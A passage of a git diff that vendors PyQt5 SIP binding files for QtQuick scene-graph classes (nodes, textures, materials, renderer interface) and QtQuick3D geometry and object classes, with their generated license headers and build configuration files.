/GetWrapper/); +%MethodCode + sipCpp->setGeometry(a0); + + if (sipCpp->flags() & QSGNode::OwnsGeometry) + sipTransferTo(a0Wrapper, sipSelf); +%End + + QSGGeometry *geometry(); +}; + +class QSGGeometryNode : QSGBasicGeometryNode +{ +%TypeHeaderCode +#include +%End + +public: + QSGGeometryNode(); + virtual ~QSGGeometryNode(); + void setMaterial(QSGMaterial *material /GetWrapper/); +%MethodCode + sipCpp->setMaterial(a0); + + if (sipCpp->flags() & QSGNode::OwnsMaterial) + sipTransferTo(a0Wrapper, sipSelf); +%End + + QSGMaterial *material() const; + void setOpaqueMaterial(QSGMaterial *material /GetWrapper/); +%MethodCode + sipCpp->setOpaqueMaterial(a0); + + if (sipCpp->flags() & QSGNode::OwnsOpaqueMaterial) + sipTransferTo(a0Wrapper, sipSelf); +%End + + QSGMaterial *opaqueMaterial() const; +}; + +class QSGClipNode : QSGBasicGeometryNode +{ +%TypeHeaderCode +#include +%End + +public: + QSGClipNode(); + virtual ~QSGClipNode(); + void setIsRectangular(bool rectHint); + bool isRectangular() const; + void setClipRect(const QRectF &); + QRectF clipRect() const; +}; + +class QSGTransformNode : QSGNode +{ +%TypeHeaderCode +#include +%End + +public: + QSGTransformNode(); + virtual ~QSGTransformNode(); + void setMatrix(const QMatrix4x4 &matrix); + const QMatrix4x4 &matrix() const; +}; + +class QSGOpacityNode : QSGNode +{ +%TypeHeaderCode +#include +%End + +public: + QSGOpacityNode(); + virtual ~QSGOpacityNode(); + void setOpacity(qreal opacity); + qreal opacity() const; +}; + +QFlags operator|(QSGNode::DirtyStateBit f1, QFlags f2); +QFlags operator|(QSGNode::Flag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgrectanglenode.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgrectanglenode.sip new file mode 100644 index 00000000..2277bf93 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgrectanglenode.sip @@ -0,0 +1,40 @@ +// qsgrectanglenode.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_8_0 -) + +class QSGRectangleNode : QSGGeometryNode /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QSGRectangleNode(); + virtual void setRect(const QRectF &rect) = 0; + void setRect(qreal x, qreal y, qreal w, qreal h); + virtual QRectF rect() const = 0; + virtual void setColor(const QColor &color) = 0; + virtual QColor color() const = 0; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgrendererinterface.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgrendererinterface.sip new file mode 100644 index 00000000..1e13319d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgrendererinterface.sip @@ -0,0 +1,131 @@ +// qsgrendererinterface.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_8_0 -) + +class QSGRendererInterface /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + enum GraphicsApi + { + Unknown, + Software, + OpenGL, + Direct3D12, +%If (Qt_5_9_0 -) + OpenVG, +%End +%If (Qt_5_14_0 -) + OpenGLRhi, +%End +%If (Qt_5_14_0 -) + Direct3D11Rhi, +%End +%If (Qt_5_14_0 -) + VulkanRhi, +%End +%If (Qt_5_14_0 -) + MetalRhi, +%End +%If (Qt_5_14_0 -) + NullRhi, +%End + }; + + enum Resource + { + DeviceResource, + CommandQueueResource, + CommandListResource, + PainterResource, +%If (Qt_5_14_0 -) + RhiResource, +%End +%If (Qt_5_14_0 -) + PhysicalDeviceResource, +%End +%If (Qt_5_14_0 -) + OpenGLContextResource, +%End +%If (Qt_5_14_0 -) + DeviceContextResource, +%End +%If (Qt_5_14_0 -) + CommandEncoderResource, +%End +%If (Qt_5_14_0 -) + VulkanInstanceResource, +%End +%If (Qt_5_14_0 -) + RenderPassResource, +%End + }; + + enum ShaderType + { + UnknownShadingLanguage, + GLSL, + HLSL, +%If (Qt_5_14_0 -) + RhiShader, +%End + }; + + enum ShaderCompilationType + { + RuntimeCompilation, + OfflineCompilation, + }; + + typedef QFlags ShaderCompilationTypes; + + enum ShaderSourceType + { + ShaderSourceString, + ShaderSourceFile, + ShaderByteCode, + }; + + typedef QFlags ShaderSourceTypes; + virtual ~QSGRendererInterface(); + virtual QSGRendererInterface::GraphicsApi graphicsApi() const = 0; + virtual void *getResource(QQuickWindow *window, QSGRendererInterface::Resource resource) const; + virtual void *getResource(QQuickWindow *window, const char *resource) const; + virtual QSGRendererInterface::ShaderType shaderType() const = 0; + virtual QSGRendererInterface::ShaderCompilationTypes shaderCompilationType() const = 0; + virtual QSGRendererInterface::ShaderSourceTypes shaderSourceType() const = 0; +%If (Qt_5_14_0 -) + static bool isApiRhiBased(QSGRendererInterface::GraphicsApi api); +%End +}; + +%End +%If (Qt_5_8_0 -) +QFlags operator|(QSGRendererInterface::ShaderCompilationType f1, QFlags f2); +%End +%If (Qt_5_8_0 -) +QFlags operator|(QSGRendererInterface::ShaderSourceType f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgrendernode.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgrendernode.sip new file mode 100644 index 00000000..cbb0217a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgrendernode.sip @@ -0,0 +1,88 @@ +// qsgrendernode.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_8_0 -) + +class QSGRenderNode : QSGNode +{ +%TypeHeaderCode +#include +%End + +public: + enum StateFlag + { + DepthState, + StencilState, + ScissorState, + ColorState, + BlendState, + CullState, + ViewportState, + RenderTargetState, + }; + + typedef QFlags StateFlags; + + enum RenderingFlag + { + BoundedRectRendering, + DepthAwareRendering, + OpaqueRendering, + }; + + typedef QFlags RenderingFlags; + + struct RenderState /NoDefaultCtors/ + { +%TypeHeaderCode +#include +%End + + virtual ~RenderState(); + virtual const QMatrix4x4 *projectionMatrix() const = 0; + virtual QRect scissorRect() const = 0; + virtual bool scissorEnabled() const = 0; + virtual int stencilValue() const = 0; + virtual bool stencilEnabled() const = 0; + virtual const QRegion *clipRegion() const = 0; + virtual void *get(const char *state) const; + }; + + virtual ~QSGRenderNode(); + virtual QSGRenderNode::StateFlags changedStates() const; + virtual void render(const QSGRenderNode::RenderState *state) = 0; + virtual void releaseResources(); + virtual QSGRenderNode::RenderingFlags flags() const; + virtual QRectF rect() const; + const QMatrix4x4 *matrix() const; + const QSGClipNode *clipList() const; + qreal inheritedOpacity() const; +}; + +%End +%If (Qt_5_8_0 -) +QFlags operator|(QSGRenderNode::StateFlag f1, QFlags f2); +%End +%If (Qt_5_8_0 -) +QFlags operator|(QSGRenderNode::RenderingFlag f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgsimplerectnode.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgsimplerectnode.sip new file mode 100644 index 00000000..bcc33734 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgsimplerectnode.sip @@ -0,0 +1,37 @@ +// qsgsimplerectnode.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSGSimpleRectNode : QSGGeometryNode /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + QSGSimpleRectNode(const QRectF &rect, const QColor &color); + QSGSimpleRectNode(); + void setRect(const QRectF &rect); + void setRect(qreal x, qreal y, qreal w, qreal h); + QRectF rect() const; + void setColor(const QColor &color); + QColor color() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgsimpletexturenode.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgsimpletexturenode.sip new file mode 100644 index 00000000..29fe1cd7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgsimpletexturenode.sip @@ -0,0 +1,79 @@ +// qsgsimpletexturenode.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSGSimpleTextureNode : QSGGeometryNode /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + QSGSimpleTextureNode(); +%If (Qt_5_4_0 -) + virtual ~QSGSimpleTextureNode(); +%End + void setRect(const QRectF &rect); + void setRect(qreal x, qreal y, qreal w, qreal h); + QRectF rect() const; + void setTexture(QSGTexture *texture); + QSGTexture *texture() const; + void setFiltering(QSGTexture::Filtering filtering); + QSGTexture::Filtering filtering() const; +%If (Qt_5_2_0 -) + + enum TextureCoordinatesTransformFlag + { + NoTransform, + MirrorHorizontally, + MirrorVertically, + }; + +%End +%If (Qt_5_2_0 -) + typedef QFlags TextureCoordinatesTransformMode; +%End +%If (Qt_5_2_0 -) + void setTextureCoordinatesTransform(QSGSimpleTextureNode::TextureCoordinatesTransformMode mode); +%End +%If (Qt_5_2_0 -) + QSGSimpleTextureNode::TextureCoordinatesTransformMode textureCoordinatesTransform() const; +%End +%If (Qt_5_4_0 -) + void setOwnsTexture(bool owns); +%End +%If (Qt_5_4_0 -) + bool ownsTexture() const; +%End +%If (Qt_5_5_0 -) + void setSourceRect(const QRectF &r); +%End +%If (Qt_5_5_0 -) + void setSourceRect(qreal x, qreal y, qreal w, qreal h); +%End +%If (Qt_5_5_0 -) + QRectF sourceRect() const; +%End +}; + +%If (Qt_5_2_0 -) +QFlags operator|(QSGSimpleTextureNode::TextureCoordinatesTransformFlag f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgtexture.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgtexture.sip new file mode 100644 index 00000000..68c2d1ce --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgtexture.sip @@ -0,0 +1,117 @@ +// qsgtexture.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSGTexture : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QSGTexture(); + virtual ~QSGTexture(); + + enum WrapMode + { + Repeat, + ClampToEdge, +%If (Qt_5_10_0 -) + MirroredRepeat, +%End + }; + + enum Filtering + { + None /PyName=None_/, + Nearest, + Linear, + }; + + virtual int textureId() const = 0; + virtual QSize textureSize() const = 0; + virtual bool hasAlphaChannel() const = 0; + virtual bool hasMipmaps() const = 0; + virtual QRectF normalizedTextureSubRect() const; + virtual bool isAtlasTexture() const; + virtual QSGTexture *removedFromAtlas() const; + virtual void bind() = 0; + void updateBindOptions(bool force = false); + void setMipmapFiltering(QSGTexture::Filtering filter); + QSGTexture::Filtering mipmapFiltering() const; + void setFiltering(QSGTexture::Filtering filter); + QSGTexture::Filtering filtering() const; + void setHorizontalWrapMode(QSGTexture::WrapMode hwrap); + QSGTexture::WrapMode horizontalWrapMode() const; + void setVerticalWrapMode(QSGTexture::WrapMode vwrap); + QSGTexture::WrapMode verticalWrapMode() const; + QRectF convertToNormalizedSourceRect(const QRectF &rect) const; +%If (Qt_5_9_0 -) + + enum AnisotropyLevel + { + AnisotropyNone, + Anisotropy2x, + Anisotropy4x, + Anisotropy8x, + Anisotropy16x, + }; + +%End +%If (Qt_5_9_0 -) + void setAnisotropyLevel(QSGTexture::AnisotropyLevel level); +%End +%If (Qt_5_9_0 -) + QSGTexture::AnisotropyLevel anisotropyLevel() const; +%End +%If (Qt_5_14_0 -) + int comparisonKey() const; +%End +%If (Qt_5_15_0 -) + + struct NativeTexture + { +%TypeHeaderCode +#include +%End + + const void *object; + int layout; + }; + +%End +%If (Qt_5_15_0 -) + QSGTexture::NativeTexture nativeTexture() const; +%End +}; + +class QSGDynamicTexture : QSGTexture +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_14_0 -) + QSGDynamicTexture(); +%End + virtual bool updateTexture() = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgtexturematerial.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgtexturematerial.sip new file mode 100644 index 00000000..2d762955 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgtexturematerial.sip @@ -0,0 +1,61 @@ +// qsgtexturematerial.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSGOpaqueTextureMaterial : QSGMaterial +{ +%TypeHeaderCode +#include +%End + +public: + QSGOpaqueTextureMaterial(); + virtual QSGMaterialType *type() const; + virtual QSGMaterialShader *createShader() const /Factory/; + virtual int compare(const QSGMaterial *other) const; + void setTexture(QSGTexture *texture); + QSGTexture *texture() const; + void setMipmapFiltering(QSGTexture::Filtering filtering); + QSGTexture::Filtering mipmapFiltering() const; + void setFiltering(QSGTexture::Filtering filtering); + QSGTexture::Filtering filtering() const; + void setHorizontalWrapMode(QSGTexture::WrapMode mode); + QSGTexture::WrapMode horizontalWrapMode() const; + void setVerticalWrapMode(QSGTexture::WrapMode mode); + QSGTexture::WrapMode verticalWrapMode() const; +%If (Qt_5_9_0 -) + void setAnisotropyLevel(QSGTexture::AnisotropyLevel level); +%End +%If (Qt_5_9_0 -) + QSGTexture::AnisotropyLevel anisotropyLevel() const; +%End +}; + +class QSGTextureMaterial : QSGOpaqueTextureMaterial +{ +%TypeHeaderCode +#include +%End + +public: + virtual QSGMaterialType *type() const; + virtual QSGMaterialShader *createShader() const /Factory/; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgtextureprovider.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgtextureprovider.sip new file mode 100644 index 00000000..ffae398c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgtextureprovider.sip @@ -0,0 +1,34 @@ +// qsgtextureprovider.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSGTextureProvider : QObject +{ +%TypeHeaderCode +#include +%End + +public: + virtual QSGTexture *texture() const = 0 /Factory/; + +signals: + void textureChanged(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgvertexcolormaterial.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgvertexcolormaterial.sip new file mode 100644 index 00000000..675ae47a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgvertexcolormaterial.sip @@ -0,0 +1,36 @@ +// qsgvertexcolormaterial.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSGVertexColorMaterial : QSGMaterial +{ +%TypeHeaderCode +#include +%End + +public: + QSGVertexColorMaterial(); + virtual int compare(const QSGMaterial *other) const; + +protected: + virtual QSGMaterialType *type() const; + virtual QSGMaterialShader *createShader() const /Factory/; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/QtQuick3D.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/QtQuick3D.toml new file mode 100644 index 00000000..b9f778bb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/QtQuick3D.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtQuick3D. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/QtQuick3Dmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/QtQuick3Dmod.sip new file mode 100644 index 00000000..064840c8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/QtQuick3Dmod.sip @@ -0,0 +1,52 @@ +// QtQuick3Dmod.sip generated by MetaSIP +// +// This file is part of the QtQuick3D Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtQuick3D, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtGui/QtGuimod.sip +%Import QtQml/QtQmlmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qquick3d.sip +%Include qquick3dgeometry.sip +%Include qquick3dobject.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/qquick3d.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/qquick3d.sip new file mode 100644 index 00000000..fba5bef2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/qquick3d.sip @@ -0,0 +1,35 @@ +// qquick3d.sip generated by MetaSIP +// +// This file is part of the QtQuick3D Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_15_0 -) + +class QQuick3D +{ +%TypeHeaderCode +#include +%End + +public: + static QSurfaceFormat idealSurfaceFormat(int samples = -1); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/qquick3dgeometry.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/qquick3dgeometry.sip new file mode 100644 index 00000000..32bf4887 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/qquick3dgeometry.sip @@ -0,0 +1,101 @@ +// qquick3dgeometry.sip generated by MetaSIP +// +// This file is part of the QtQuick3D Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_15_0 -) + +class QQuick3DGeometry : QQuick3DObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QQuick3DGeometry(QQuick3DObject *parent /TransferThis/ = 0); + virtual ~QQuick3DGeometry(); + + enum class PrimitiveType + { + Unknown, + Points, + LineStrip, + Lines, + TriangleStrip, + TriangleFan, + Triangles, + }; + + struct Attribute + { +%TypeHeaderCode +#include +%End + + enum Semantic + { + UnknownSemantic, + IndexSemantic, + PositionSemantic, + NormalSemantic, + TexCoordSemantic, + TangentSemantic, + BinormalSemantic, + }; + + enum ComponentType + { + DefaultType, + U16Type, + U32Type, + F32Type, + }; + + QQuick3DGeometry::Attribute::Semantic semantic; + int offset; + QQuick3DGeometry::Attribute::ComponentType componentType; + }; + + QString name() const; + QByteArray vertexBuffer() const; + QByteArray indexBuffer() const; + int attributeCount() const; + QQuick3DGeometry::Attribute attribute(int index) const; + QQuick3DGeometry::PrimitiveType primitiveType() const; + QVector3D boundsMin() const; + QVector3D boundsMax() const; + int stride() const; + void setVertexData(const QByteArray &data); + void setIndexData(const QByteArray &data); + void setStride(int stride); + void setBounds(const QVector3D &min, const QVector3D &max); + void setPrimitiveType(QQuick3DGeometry::PrimitiveType type); + void addAttribute(QQuick3DGeometry::Attribute::Semantic semantic, int offset, QQuick3DGeometry::Attribute::ComponentType componentType); + void addAttribute(const QQuick3DGeometry::Attribute &att); + void clear(); + +public slots: + void setName(const QString &name); + +signals: + void nameChanged(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/qquick3dobject.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/qquick3dobject.sip new file mode 100644 index 00000000..967ca20c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick3D/qquick3dobject.sip @@ -0,0 +1,78 @@ +// qquick3dobject.sip generated by MetaSIP +// +// This file is part of the QtQuick3D Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_15_0 -) + +class QQuick3DObject : QObject, QQmlParserStatus /Abstract/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QQuick3DObject, &sipType_QQuick3DObject, 1, -1}, + {sipName_QQuick3DGeometry, &sipType_QQuick3DGeometry, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + explicit QQuick3DObject(QQuick3DObject *parent /TransferThis/ = 0); + virtual ~QQuick3DObject(); + QString state() const; + void setState(const QString &state); + QQuick3DObject *parentItem() const; + +public slots: + void setParentItem(QQuick3DObject *parentItem); + +signals: + void stateChanged(); + +protected: + virtual void classBegin(); + virtual void componentComplete(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuickWidgets/QtQuickWidgets.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuickWidgets/QtQuickWidgets.toml new file mode 100644 index 00000000..cd1a9c62 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuickWidgets/QtQuickWidgets.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtQuickWidgets. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git 